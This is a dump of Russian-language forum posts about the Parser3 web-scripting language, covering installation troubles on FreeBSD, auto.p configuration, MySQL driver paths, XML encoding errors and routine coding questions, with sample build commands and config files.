"31867","тут беда случилась. Случайно стёр на старом сайте файл парсера. Новую версию положить не могу по некоторым причинам. А какая стояла - точно не помню. То ли 3.1.0, то ли 3.1.1.\
Мне казалось, должен быть где-то список всех вышедших версий"
"31873","Добрый день, пытаюсь решить следующую проблему:\
Разбить страницу на блоки. Все блоки есть методы, описанные в .p файле (это есть и проблем не вызывает). Но вот у меня есть пользовательский класс, в котором описаны несколько методов для конкретно описанной задачи. Выводятся ссылки к примеру:\
\"редактировать анкету\"\
\"добавить анкету\"\
\
я хотел бы узнать\\понять как сделать загрузку методов класса в определенный блок (скажем в центр страницы, который описан как ^центр_страницы[] в .р файле). Я думал над этим, есть два варианта.\
\
дешева и сердито.\
1.<a href=\"edit.html\">редактировать анкету</a>\
где написано в место ^центр_страницы[] тот кусок, который нужен в центре, или:\
\
2. response:body\\download - думаю конкретно этой задачи еще хуже чем вариант 1\
\
Есть еще вопрос:\
как описать в пользовательском классе ссылки на методы класса?\
\
Примерно вот так (логика):\
\
Class\
<a href=\"^редактировать_анкету[]\">редактировать_анкету</a>\
<a href=\"^добавить_анкету[]\">добавить_анкету</a>\
\
@редактировать_анкету[]\
@добавить_анкету[]\
\
Это конкретно чего я хочу получить\
\
\
Прежде чем пинать, лучше объясните (доку- прочел всю, пересмотрел все примеры и около 2х часов искал  по форуму)"
"31874","кое-что нарыл, но хотелось бы весь спиок видеть :)"
"31876","... что вы сами очень смутно представляете, что хотите.\
По крайней мере, сформулировать это у вас получилось плохо.\
Попробуйте еще раз."
"31877","Для Дмитрия, я прекрасно понимаю чего хочу. Я могу реализовать задуманное, но полагаю, что есть более производительные, действенные методы, изящные, если хотите, но я не вижу (пока) их\
------------------------\
я пытаюсь узнать о возможности передачи\\переопределение\\замены метода по следующему сценарию(логика):\
\
Class\
<a href=\"^редактировать_анкету[]\">редактировать_анкету</a>\
<a href=\"^добавить_анкету[]\">добавить_анкету</a>\
\
@редактировать_анкету[]\
@добавить_анкету[]\
\
либо при нажатии ссылки метод загружается в какой-нибудь @метод[]\
\
Это конкретно чего я хочу получить\
\
В классе описаны ссылки на методы класса, они выводятся как html код, но при нажатии на них, они отображаются\\загружаются\\подменяют другой метод страницы. Подобное возможно реализовать в php (инклюдами, когда в каркас всавляют скрипты)\
\
я не хочу использовать JavaScript - это зло. Можно, конечно описать все в слоях и покончить с этим. Я придерживаюсь веры в универсальный код, который будет работать везде (браузеры разных компаний), под 2\\3 разрешения. \
\
Прежде чем пинать, лучше объясните (доку- прочел всю, пересмотрел все примеры и около 2х часов искал по форуму)\
\
P.S. Если вы не знаете\\нехотите пинать (конструктивно) меня, либо помогать - не флудите пожалуйста\
\
Спасибо"
"31878","после второго вашего объяснения стало немного понятнее желание (но не совсем), но не понятно как вы себе это представляете сделать...\
\
может вы лучше приведете тот код который вы написали, и он скажет больше?\
\
то, что вы написали:\
[code]\
<a href=\"^редактировать_анкету[]\">редактировать_анкету</a>\
...\
@редактировать_анкету[]\
[/code]\
\
подставит в href=\"сюда\" текст, который выдает метод @редактировать_анкету[].\
\
при чем здесь перекрытие метода мне не понятно.\
\
вы понимаете, что нажимая в броузере на ссылку вы переходите на другую страницу? (даже если там тот-же url, это [b]другая[/b] страница.)\
\
возможно вы хотите примерно такого:\
[code]\
^редактировать_анкету[]\
...\
@редактировать_анкету[]\
^if(def $form:id){\
<form>\
...форма редактирования анкеты...\
</form>\
}{\
<a href=\"./?id=zzz\">редактировать анкету</a>\
}\
[/code]\
\
но это тоже лишь предположение, т.к. то, что вы хотите получить я не понял."
"31879","http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/ChangeLog"
"31880","Тут было когда-то краткое обсуждение о color coding в Dreamweaver...\
\
Расцветить получается, однако, чтобы среда выдавала список объявленных методов, в CodeNav_Dynamic.js нужно внести некоторые изменения. Никто не делал такого?"
"31881","Тогда пусть вызываются разные html страницы, на которых происходит вызов этих разных методов или одна, с параметром, н-р edit.html?action=edit;edit.html?action=add, на которой вы через $form:action ловите, что же нажал пользователь и вызываете соответствующий метод.\
\
Но все равно, при нажатии на ссылку броузер откроет новую страницу, он иначе не может, если вы хотите обойтись без javascript."
"31882","Тут случайно такую штуку обнаружил, что если попробовать отфильтровать сообщения по несуществовавшей до этого момента дате (например по сентябрю 2004 года) ошибка вылетает..\
На это:\
http://www.parser.ru/forum/?filter_type=lastdate&day=31&month=8&year=2004\
Вот это:\
out of memory: failed to reallocate to 100 bytes. heap_used=15196160, heap_free=0, bytes_since_gc=22583088, total_bytes=22583088\
\
Я понимаю, что мелочь и не мешает, но всётаки на всякий случай решил рассказать.."
"31883","Почему не обрабатывается auto.p, если глубина вложения по ссылке больше трех, например: http://www.мой.ru/services/internet/connect/\
При обращении по адресу выводится только содержимое index.html,\
хотя по идее должен обрабатыватся auto.p.\
http://www.мой.ru/services/ - обрабатывает\
http://www.мой.ru/services/internet/ - то же обрабатывает.\
\
- auto.p лежит только в корне сайта.\
- в .../connect/ лежит только index.html, в нем переопределений функций нет."
"31884","FAQ читал. Все проверил: и атрибуты и .htaccess\
Только к логам доступа нет.\
Сервер выдает ошибку 500 при обращении напрямую к parser3.cgi\
и 404 при попытке посмотреть нормальное содержание.\
На локале в Денвере все работало.\
\
...сервер следующей конфигурации:\
\
Платформа Dual PIII, 2Gb RAM \
Система FreeHost Engine 0.9 \
Операционная система FreeBSD 4.9-RELEASE \
Веб-сервер Apache 2.0.50 \
FTP-сервер ProFTPD 1.2.10rc1 \
SMTP-сервер Postfix 2.1.1 \
POP3-сервер Courier-Imap 3.0.5 \
СУБД MySQL 4.0.20 \
Интерпретаторы и компиляторы Perl 5.8.4\
PHP 4.3.7\
GCC 2.95.4\
Python 2.3.4 \
\
Пути к программам и интерпретаторам на сервере \
Perl /usr/bin/perl \
Date /bin/date \
Python /usr/local/bin/python \
sendmail /usr/sbin/sendmail"
"31885","Вы хотите чтобы все происходило без перезагрузки страницы? (В противном случае не понимаю [i]суть[/i] проблемы) Это невозможно. Парсер серверный язык, грубо говоря чтобы что-то произошло нужно чтобы у сервера было что-то запрошено. У клиента даже следов от парсера не остается.\
\
Вот что я могу сказать в помощь.\
\
файл /anketa/index.html\
[code]\
...\
<a href=\"/anketa/?action=edit\">редактировать анкету</a>\
<br>\
<a href=\"/anketa/?action=add\">добавить анкету</a>\
\
^if(def $form:action){\
	^use[/classes/anketa.p]\
	^anketa[$form:action]\
}\
[/code]\
\
файл /classes/anketa.p\
[code]\
@anketa[action]\
	^switch[$action]{\
		^case[edit]{\
			редактирование анкеты\
		}\
		^case[add]{\
			добавление анкеты\
		}\
		^case[DEFAULT]{\
			ни то, ни другое, если было передано\
			кривое значение в ^$form:action\
		}\
	}\
[/code]\
\
Вот так вот. Надеюсь пригодиться. :)"
"31887","Полной деинсталляции IIS, Xitami, Netscape Server и всего остального, что Setup обнаружит?"
"31888","вероятно, в слово auto сумела вкрасться опечатка."
"31889","возможно, вам надо на http://parser2.parser.ru?"
"31891","в его\
[code]\
@auto[]\
#впишите вызов несуществующего метода\
^bug[]\
[/code]\
\
если файл загружается, увидите ошибку.\
\
[b]если[/b] эксперимент не поможет в понимании происходящего, опишите всё подробнее.\
\
у вас чешутся руки описать подробнее прямо сейчас? не делайте этого."
"31892","это ваше право."
"31894","Всем добрый день!\
\
Хочу понять некоторые вопросы связанные с Parser, факу прочитал, на документацию пока нет времени:\
1. Правильно ли я понял, что Parser - это НЕ система управления контетом, а некий встраевыемый язык (некий аналог PHP или ASP) для создания динамических HTML?\
2. Какие преимущества дает Parser по сравнению с тем-же PHP? Кто-нибудь переходил с PHP на Parser - какие впечатления? \
\
С уважением, Владимир Ким\
www.taiso.ru"
"31895","кому не лень, отвечайте только на первый вопрос"
"31896","по вопросу 1. - Понял правильно.\
по 2. - Для решения многих задач на Parser требуется меньше времени и сил чем на PHP или ASP."
"31897","Как осуществить передачу значений переменных между блоками кода на Parser и на PHP?"
"31898","Впечатления хорошие. \
Parser проще.\
Parser меньше.\
Parser быстрее.\
Parser приятнее.\
:)"
"31899","Добрый день!\
\
Речь не идет о священной войне, а о анализе системы... Мне необходимо получить информацию о тех недостатках и достоинствах, которые можно получить при переходе с PHP на Parser. Если Parser был написан, значит разработчиков что-то не устраивало в существующих решениях (например PHP). Следовательно существует некий круг задач, в которых Parser более удобен/быстр/... по сравнению с инструментарием, предлагаемым тем-же PHP.\
\
По этому интересно узнать в каком круге задач удобнее/привлекательнее использовать Parser нежели PHP. В чем эти преимущества выражаются?\
\
Цена вопроса - это время. Будет обидно потратить время на изучение системы и в конце концов осознать, что ничего нового или преимущества не стоят потраченного времени, лучше бы занялся другими технологиям. Или, наоборот, в последствии с сожалением осознавать, что в свое время не пересел на Parser и не съэкономил кучу времени/сил/т.д \
\
С уважением, Владимир Ким\
www.taiso.ru"
"31904","Чисто случайно обратил внимание что с появлением англоязычной версии сайта, то есть добавлением на главной ссылочки [url=\"http://www.parser.ru/en/\"]English[/url], надпись «[url=\"http://www.artlebedev.ru/\"]Студия Артемия Лебедева[/url] представляет…» сползла влево. Возникла заминка между этой надписью и выравненным по центру страницы логотипом парсера.\
\
Это все, что я хотел сказать. :)"
"31905","просто я не думал что ТАК можно делать. Этот ход я и искал. \
Еще раз всем огромное спасибо"
"31906","всю документацию читать совсем не нужно. \
ощущение можно получить и от уроков."
"31910","@auto[] написано правильно.\
в общем, я пересобрал весь набор (apache, mysql, parser ...) - проблема исчезла, но причины я так и не нашел."
"31911","пока админ сервака молчит посмотрел сайт в Mozilla 1.0 (до этого смотрел в Mozilla 1.7 Gecko/20040616 ) -- все ок, хотя 1.7 до сих пор все отображает без стилей... так проблема в версии браузера? хотя, 1.7 те же самые страницы с другого сервера показывает правильно!"
"31912","Выполняется код... - ОШИБКА, создается gc.log а в нем сообщение\
[code]\
gc.log:\
GC Warning: Out of Memory!  Returning NIL!\
\
parser.log\
[Mon Aug 09 16:45:06 2004] exception in request exception handler: Exception 0xC0000005 at 0x0044B858\
[/code]\
\
Это выполнялось регулярное выражение, заключенное в цик (цикл 100% не бесконечный).\
\
Что означает \"Out of Memory!  Returning NIL!\"?"
"31913","А можно сделать так, чтобы парсер в свой лог-файл записывал дополнительно ip-адрес?"
"31914","но вы можете в @unhandled_exception[] добавить свой код и записывать куда угодно хоть чёрта лысого."
"31916","Я ставил туда парсера и выяснил следующее: из рекомендованной папки cgi-bin он не работает ни при каких условиях, а вот из папки /site/cgi-bin, которую надо создать, прописать атрибуты на нее и т.п. - работает! особенно, если указать правильный дисковый путь :) но об этом сказано в доке к парсеру...\
\
а вообще на FATAL-е в форуме еще можно найти все мои рекомендации - там, правда, парсером не шибко интересуются..."
"31917","Команды, которые были использованы:\
\
[code]\
fetch http://www.hpl.hp.com/personal/Hans_Boehm/gc/gc_source/gc6.1.tar.gz\
untar gc6.1.tar.gz\
cd gc6.1\
./configure --disable-threads\
make\
make install\
\
cd cvs/release_3_1_3/\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project login\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project co -r release_3_1_3 parser3 sql/mysql\
cd parser3/\
./configure --prefix=$HOME/cgi-bin --with-shared-gc=/usr/local/lib\
make\
make install\
cd ../sql/mysql/\
./configure --prefix=$HOME/cgi-bin\
make\
make install\
cd ~/cgi-bin/bin/\
chmod u+s parser3\
[/code]\
\
Вот содержание файла ~/cgi-bin/bin/auto.p:\
[code]\
#$Id: auto.p.dist.in,v 1.11 2004/02/13 13:59:51 paf Exp $\
\
@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/../etc/parser3.charsets]\
$sqldriversdir[$confdir/../lib]\
\
$CHARSETS[\
#    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
#change your client libraries paths to those on your system\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
#mysql	$sqldriversdir/libparser3mysql.so	/usr/local/lib/mysql/libmysqlclient.so\
mysql	/usr/home/parser/cgi-bin/lib/libparser3mysql.so	/usr/local/lib/mysql/libmysqlclient.so\
}]\
]\
\
#for ^file:load[name;user-name] mime-type autodetection\
$MIME-TYPES[^table::set{ext	mime-type\
zip	application/zip\
doc	application/msword\
xls	application/vnd.ms-excel\
pdf	application/pdf\
ppt	application/powerpoint\
rtf	application/rtf\
gif	image/gif\
jpg	image/jpeg\
jpeg	image/jpeg\
png	image/png\
tif	image/tiff\
html	text/html\
htm	text/html\
txt	text/plain\
xml	text/xml\
mts	application/metastream\
mid	audio/midi\
midi	audio/midi\
mp3	audio/mpeg\
ram	audio/x-pn-realaudio\
rpm	audio/x-pn-realaudio-plugin\
ra	audio/x-realaudio\
wav	audio/x-wav\
au	audio/basic\
mpg	video/mpeg\
avi	video/x-msvideo\
mov	video/quicktime\
swf	application/x-shockwave-flash\
}]\
\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]	\
\
#$MAIL[\
#	$.sendmail[your sendmail command goes here]\
#	these are tried when no 'sendmail' specified:\
#	    /usr/sbin/sendmail -t -i -f postmaster\
#	    /usr/lib/sendmail -t -i -f postmaster\
#]\
\
@fatal_error[title;subtitle;body]\
$response:status(500)\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
<html>\
<head><title>$title</title></head>\
<body>\
<h1>^if(def $subtitle){$subtitle;$title}</h1>\
$body\
#for [x] MSIE friendly\
^for[i](0;512/8){<!-- -->}\
</body>\
</html>\
\
@unhandled_exception_debug[exception;stack]\
^fatal_error[Unhandled Exception^if(def $exception.type){ ($exception.type)};$exception.source;\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.file){\
^untaint[html]{<tt>$exception.file^(${exception.lineno}:$exception.colno^)</tt>}\
}\
^if($stack){\
	<hr/>\
	<table>\
	^stack.menu{\
		<tr><td>$stack.name</td><td><tt>$stack.file^(${stack.lineno}:$stack.colno^)</tt></td></tr>\
	}\
	</table>\
}\
]\
\
@unhandled_exception_release[exception;stack]\
^fatal_error[Unhandled Exception;;\
\
<p>The server encountered an unhandled exception \
and was unable to complete your request.</p>\
<p>Please contact the server administrator, $env:SERVER_ADMIN\
and inform them of the time the error occurred, \
and anything you might have done that may have caused the error.</p>\
<p>More information about this error may be available in the Parser error log\
or in debug version of unhandled_exception.</p>\
\
]\
\
################################################################################\
\
@unhandled_exception[exception;stack]\
^if(\
	(\"$exception.type\" eq \"file.missing\") && \
	(def $exception.source) && \
	(^exception.source.match[$request:uri][] || ^exception.source.match[^request:uri.match[(.+)\\x3f.*][]{$match.1}][])\
){\
	^unhandled_exception_404[]\
}{\
#	^unhandled_exception_release[$exception;$stack]\
	^unhandled_exception_debug[$exception;$stack]\
}\
\
################################################################################\
\
@unhandled_exception_404[]\
^unhandled_exception_404_xhtml[]\
\
################################################################################\
\
@unhandled_exception_404_html[]\
$response:Status[404 Not Found]\
<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\
<html><head>\
<title>404 Not Found</title>\
</head><body>\
#<h1>Not Found</h1>\
<h1>Page Not Found</h1>\
#The requested URL $env:REQUEST_URI was not found on this server.<p>\
Sorry, but $env:REQUEST_URI doesn't exist on this website. <p>\
<hr>\
<a href='http://$env:SERVER_NAME/'>$env:SERVER_NAME</a><p>\
#<hr>\
#^untaint{$env:SERVER_SIGNATURE}\
</body></html>\
\
################################################################################\
\
@unhandled_exception_404_xhtml[]\
$response:Status[404 Not Found]\
<?xml version=\"1.0\" encoding=\"$response:charset\"?>\
<!-- $date_now[^date::now[]]^date_now.sql-string[] -->\
<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\"\
    \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\
<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en-GB\" lang=\"en-GB\">\
  <head>\
    <title>404 Not Found</title>\
  </head>\
  <body>\
    <h1>Page Not Found</h1>\
    <p>Sorry, but $env:REQUEST_URI doesn't exist on this website. </p>\
#    <p>Try to visit our index page to locate the necessary information. </p>\
    <hr/>\
    <p><a href='http://$env:SERVER_NAME/'>http://$env:SERVER_NAME/</a></p>\
  </body>\
</html>\
\
################################################################################\
\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
$SQL.connect-string[mysql://root@127.0.0.1/p3?charset=cp1251_koi8]\
[/code]"
"31918","[code]%ll /usr/local/lib/mysql/libmysqlclient.so\
lrwxrwxrwx  1 root  wheel  20 11 May  2003 /usr/local/lib/mysql/libmysqlclient.so@ -> libmysqlclient.so.10\
%mv /usr/local/lib/mysql/libmysqlclient.so ~\
mv: rename /usr/local/lib/mysql/libmysqlclient.so to /home/constant/libmysqlclient.so: Permission denied\
%rm /usr/local/lib/mysql/libmysqlclient.so\
rm: /usr/local/lib/mysql/libmysqlclient.so: Permission denied\
%cat > /usr/local/lib/mysql/libmysqlclient.so\
/usr/local/lib/mysql/libmysqlclient.so: Permission denied.\
%uname\
FreeBSD\
%[/code]"
"31919","_test.html выдаёт ошибку\
\
[code]\
    Работа с SQL\
\
    ^int:sql{SELECT 2+2}: Что-то непонятное с SQL. Наверное не положены куда надо драйвера.\
    Сообщение об ошибке:\
\
    can't open the module\
    $sqldriversdir/libparser3mysql.so \
[/code]\
\
При этом в начале того же самого _test.html написано:\
\
[code]\
    $SQL:\
    mysql /usr/home/parser/cgi-bin/lib/libparser3mysql.so (90703 байт) /usr/local/lib/mysql/libmysqlclient.so (не найден)\
[/code]\
\
Могу заметить, что libmysqlclient.so также существует:\
\
[code]\
# ll /usr/local/lib/mysql/libmysqlclient.so\
lrwxrwxrwx 1 root wheel 20 21 May 00:50 /usr/local/lib/mysql/libmysqlclient.so -> libmysqlclient.so.12\
[/code]\
\
Пробовал указывать полный путь к libparser3mysql.so, не помогает.\
\
ПО:\
FreeBSD 5.2.1\
Apache 2.0.48\
MySQL 4.0.16\
Parser 3.1.3\
GCC 3.3.3 [FreeBSD] 20031106\
\
\
Команды, которые были использованы для установки libgc (make install выполнен из-под рута):\
\
[code]\
fetch http://www.hpl.hp.com/personal/Hans_Boehm/gc/gc_source/gc6.1.tar.gz\
untar gc6.1.tar.gz\
cd gc6.1\
./configure --disable-threads\
make\
make install\
[/code]\
\
Команды, которые были использованы для установки самого парсера (выполнены локальным пользователем parser):\
\
[code]\
cd cvs/release_3_1_3/\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project login\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project co -r release_3_1_3 parser3 sql/mysql\
cd parser3/\
./configure --prefix=$HOME/cgi-bin --with-shared-gc=/usr/local/lib\
make\
make install\
cd ../sql/mysql/\
./configure --prefix=$HOME/cgi-bin\
make\
make install\
cd ~/cgi-bin/bin/\
chmod u+s parser3\
[/code]\
\
Вот содержание файла ~/cgi-bin/bin/auto.p:\
\
[code]\
#$Id: auto.p.dist.in,v 1.11 2004/02/13 13:59:51 paf Exp $\
\
@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/../etc/parser3.charsets]\
$sqldriversdir[$confdir/../lib]\
\
$CHARSETS[\
#    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
#change your client libraries paths to those on your system\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
#mysql	$sqldriversdir/libparser3mysql.so	/usr/local/lib/mysql/libmysqlclient.so\
mysql	/usr/home/parser/cgi-bin/lib/libparser3mysql.so	/usr/local/lib/mysql/libmysqlclient.so\
}]\
]\
\
#for ^file:load[name;user-name] mime-type autodetection\
$MIME-TYPES[^table::set{ext	mime-type\
zip	application/zip\
doc	application/msword\
xls	application/vnd.ms-excel\
pdf	application/pdf\
ppt	application/powerpoint\
rtf	application/rtf\
gif	image/gif\
jpg	image/jpeg\
jpeg	image/jpeg\
png	image/png\
tif	image/tiff\
html	text/html\
htm	text/html\
txt	text/plain\
xml	text/xml\
mts	application/metastream\
mid	audio/midi\
midi	audio/midi\
mp3	audio/mpeg\
ram	audio/x-pn-realaudio\
rpm	audio/x-pn-realaudio-plugin\
ra	audio/x-realaudio\
wav	audio/x-wav\
au	audio/basic\
mpg	video/mpeg\
avi	video/x-msvideo\
mov	video/quicktime\
swf	application/x-shockwave-flash\
}]\
\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]	\
\
#$MAIL[\
#	$.sendmail[your sendmail command goes here]\
#	these are tried when no 'sendmail' specified:\
#	    /usr/sbin/sendmail -t -i -f postmaster\
#	    /usr/lib/sendmail -t -i -f postmaster\
#]\
\
@fatal_error[title;subtitle;body]\
$response:status(500)\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
<html>\
<head><title>$title</title></head>\
<body>\
<h1>^if(def $subtitle){$subtitle;$title}</h1>\
$body\
#for [x] MSIE friendly\
^for[i](0;512/8){<!-- -->}\
</body>\
</html>\
\
@unhandled_exception_debug[exception;stack]\
^fatal_error[Unhandled Exception^if(def $exception.type){ ($exception.type)};$exception.source;\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.file){\
^untaint[html]{<tt>$exception.file^(${exception.lineno}:$exception.colno^)</tt>}\
}\
^if($stack){\
	<hr/>\
	<table>\
	^stack.menu{\
		<tr><td>$stack.name</td><td><tt>$stack.file^(${stack.lineno}:$stack.colno^)</tt></td></tr>\
	}\
	</table>\
}\
]\
\
@unhandled_exception_release[exception;stack]\
^fatal_error[Unhandled Exception;;\
\
<p>The server encountered an unhandled exception \
and was unable to complete your request.</p>\
<p>Please contact the server administrator, $env:SERVER_ADMIN\
and inform them of the time the error occurred, \
and anything you might have done that may have caused the error.</p>\
<p>More information about this error may be available in the Parser error log\
or in debug version of unhandled_exception.</p>\
\
]\
\
################################################################################\
\
@unhandled_exception[exception;stack]\
^if(\
	(\"$exception.type\" eq \"file.missing\") && \
	(def $exception.source) && \
	(^exception.source.match[$request:uri][] || ^exception.source.match[^request:uri.match[(.+)\\x3f.*][]{$match.1}][])\
){\
	^unhandled_exception_404[]\
}{\
#	^unhandled_exception_release[$exception;$stack]\
	^unhandled_exception_debug[$exception;$stack]\
}\
\
################################################################################\
\
@unhandled_exception_404[]\
^unhandled_exception_404_xhtml[]\
\
################################################################################\
\
@unhandled_exception_404_html[]\
$response:Status[404 Not Found]\
<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\
<html><head>\
<title>404 Not Found</title>\
</head><body>\
#<h1>Not Found</h1>\
<h1>Page Not Found</h1>\
#The requested URL $env:REQUEST_URI was not found on this server.<p>\
Sorry, but $env:REQUEST_URI doesn't exist on this website. <p>\
<hr>\
<a href='http://$env:SERVER_NAME/'>$env:SERVER_NAME</a><p>\
#<hr>\
#^untaint{$env:SERVER_SIGNATURE}\
</body></html>\
\
################################################################################\
\
@unhandled_exception_404_xhtml[]\
$response:Status[404 Not Found]\
<?xml version=\"1.0\" encoding=\"$response:charset\"?>\
<!-- $date_now[^date::now[]]^date_now.sql-string[] -->\
<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\"\
    \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\
<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en-GB\" lang=\"en-GB\">\
  <head>\
    <title>404 Not Found</title>\
  </head>\
  <body>\
    <h1>Page Not Found</h1>\
    <p>Sorry, but $env:REQUEST_URI doesn't exist on this website. </p>\
#    <p>Try to visit our index page to locate the necessary information. </p>\
    <hr/>\
    <p><a href='http://$env:SERVER_NAME/'>http://$env:SERVER_NAME/</a></p>\
  </body>\
</html>\
\
################################################################################\
\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
$SQL.connect-string[mysql://root@127.0.0.1/p3?charset=cp1251_koi8]\
[/code]\
\
\
Проблема возникает как на \"рабочем\" сервере FreeBSD 5.2.1 / Apache2 / mysql4 / gcc33, так и на \"домашнем\" FreeBSD 4.8 / Apache 1.3 / mysql 3.23.55 / gcc295."
"31920","Расскажите, пожалуйста, в двух словах, что это за технология Imprimatur. Я понимаю, что если это не написано на сайте, то это закрытая технология, но все равно очень интересно что она позволяет."
"31921","Начал прикручивать класс авторизации, решил заодно начать приобщаться к прекрасному в виде XML/XSLT. Потому попробовал использовать метод xmlFormLogon. Начинаю делать это следующим образом:\
\
[code]\
$logon_form[^xdoc::create{^auth_data.xmlFormLogon[$.target_url[$request:uri]]}]\
[/code]\
\
Получаю ошибку:\
\
[b]...Input is not proper UTF-8, indicate encoding...[/b]\
\
Почитал сообщения данного форума про эту ошибку, попутно добился того, чтобы в файле _test.html исчезли красные строчки про относительный путь к файлам кодировок (видимо причина этого в Windows системах в том, что в конфигурационном методе в filespec попадает путь со слешами вида \"\\\", тогда как Parser хочет \"/\").\
И согласно прочитанных рекомендаций сделал следующее - перекрыл метод [b]xmlFormLogon[/b] в своем классе, и добавил в нем строчку\
\
[code]\
<?xml version=\"1.0\" encoding=\"$response:charset\" ?>\
[/code]\
\
Теперь получаю ошибку:\
\
[b]\
Entity: line 3: parser error : XML declaration allowed only at the start of the document\
        <?xml version=\"1.0\" encoding=\"WINDOWS-1251\" ?>\
             ^\
[/b]\
\
Ничего не могу с ней поделать... Подскажете?"
"31922","http://misha.design.ru/hobby/progr/engine.html\
\
это и есть имприматур, хотя, как пишет Миша, с тех пор многое изменилось, но идеология вряд ли."
"31923","возможно перед <?xml version=\"1.0\" encoding=\"$response:charset\" ?> стоит пробел, перевод строки или ещё какие символы, - такие сообщения из-за этого."
"31924","Ничего такого не было, но на всякий случай все подчистил, даже выстроил весь xml-код в одну строку... Та же фигня..."
"31925","замение $logon_form[^xdoc::create{код\
на $logon_form[код\
и сделайте ^logon_form.save[bug.txt]\
\
увидите пробелы."
"31926","Был перевод строки. В перекрывающем методе изменил на:\
\
[code]\
@xmlFormLogon[in_params][lparams]\
$lparams[^hash::create[$in_params]]^untaint[xml]{<?xml version=\"1.0\" encoding=\"$response:charset\" ?>\
\
..................\
[/code]\
\
Теперь, все нормуль... Продолжаем изучение..."
"31927","не response.\
сейчас у вас совпадает и работает по недоразумению :)"
"31928","RTFM-нул. Понял в чем разница. Все поправил. Но IMHO вряд ли дефолтные настройки конфигурационного метода (где эти значения совпадают) можно назвать недоразумением! :)"
"31929","я называл недоразумением совсем другое :)\
\
и когда вы поменяли бы(через год) настройки по умолчанию на свои, вы бы не сразу заметили, что тут развалилось."
"31930","Вы ставили мой пакет на компьютер, на котором уже работал вебсервер Microsoft IIS."
"31931","Да уже так и сделал. Название папки только немного другое. Что получилось - написал.\
Еще раз перепроверю атрибуты и путь, может все-таки сам где ошибся...\
Проверил. Все провильно. Нифига не понимаю...\
Почему РНР пашет и перл тоже, а парсер нет?"
"31932","Там админ то ли в глубоком отпуске, то ли вообще плюнул на все и ушел в подполье... :(\
Хостинг то бесплатный :/\
Хотел немного отладится, что называется в реале. Так и придется кому-нить бабки за хостинг платить..."
"31933","что касается меня, то я не создаю отдельно xdoc от каждого фрагмента xml.\
\
я собираю полный xml документа (текст, куда попадают и результаты xmlFormLogon) после этого xdoc:create и transform.\
\
на выходе получается html документа.\
\
таким образом имеет место быть почти полное разделение контента (xml) и оформления (xsl).\
\
вы уверены, что путь по которому пошли вы оптимальнее?"
"31934","Да тот путь который предлагаете Вы более правилен и оптимален. Спасибо за то, что делитесь опытом и именно этим путем я в дальнейшем и пойду. Но пока я только начинаю и у меня просто-напросто нету больше никаких XML-данных. :) Так что можно считать мой код очень частным случаем Вашего метода. :)"
"31935","Танцы с бубном, но у меня такое однажды взлетало при  такой же проблеме"
"31936","Не беспокойтесь, пример у меня работает :)\
Немного изменил данные, вместо цен поставил буквенные значения в итоге появилась ошибка\
\"'Текстовая строка' invalid number (double)  type: number.format\"\
Думаю надо что-то сделать с price_name. \
    $product_price[$price_list_hash.[$product_list.id].price_name]\
Заключал в квадратные скобки, не помогло"
"31937","где вы пытаетесь со строкой работать как с числом.\
и парсер вас скорее всего сообщает номер строки, где происходит ошибка...\
\
приведете код?"
"31938","Есть в примере, я ничего не менял, только данные:\
^if($product_price){ \
#       печатаем название товара и его цену\
        $product_list.name - $product_price<br>\
    }{ \
#       а у этого товара нет цены, т.е. его нет в наличии\
        $product_list.name - нет в наличии<br>\
    } \
}"
"31939","Есть строка вида [color=\"0000FF\"]http%3a%2f%2fwww%2esite%2eru[/color]\
хочу ее преобразовать в обычный вид [color=\"0000FF\"]http://www.site.ru[/color]\
использую [code]untaint[uri]{http%3a%2f%2fwww%2esite%2eru}[/code]\
строка не преобразовывается"
"31940","taint/untaint [url=\"http://www.parser.ru/examples/tainting/\"]НЕ ПРОИЗВОДЯТ замены символов[/url], это уже обсуждалось..."
"31941","uri%3Dhttp%3A//www.site.ru"
"31943","uri вида http%3a%2f%2fwww%2esite%2eru раскодировать вы сможете только ручками с использованием match/replace. taint/untaint вам в этом не помогут.\
\
рекомендуется получать параметры через $form и тогда у вас не будет подобной головной боли."
"31944","Оп, заработало! Пасиб\
Получается со всеми строковыми типами так надо?"
"31945","По поводу добавления строки в начало .pl - у меня эта строка есть.\
Более того, если запускаешь файл ручками, а переменным присваеваешь значения, то все отрабатывает без ошибок.\
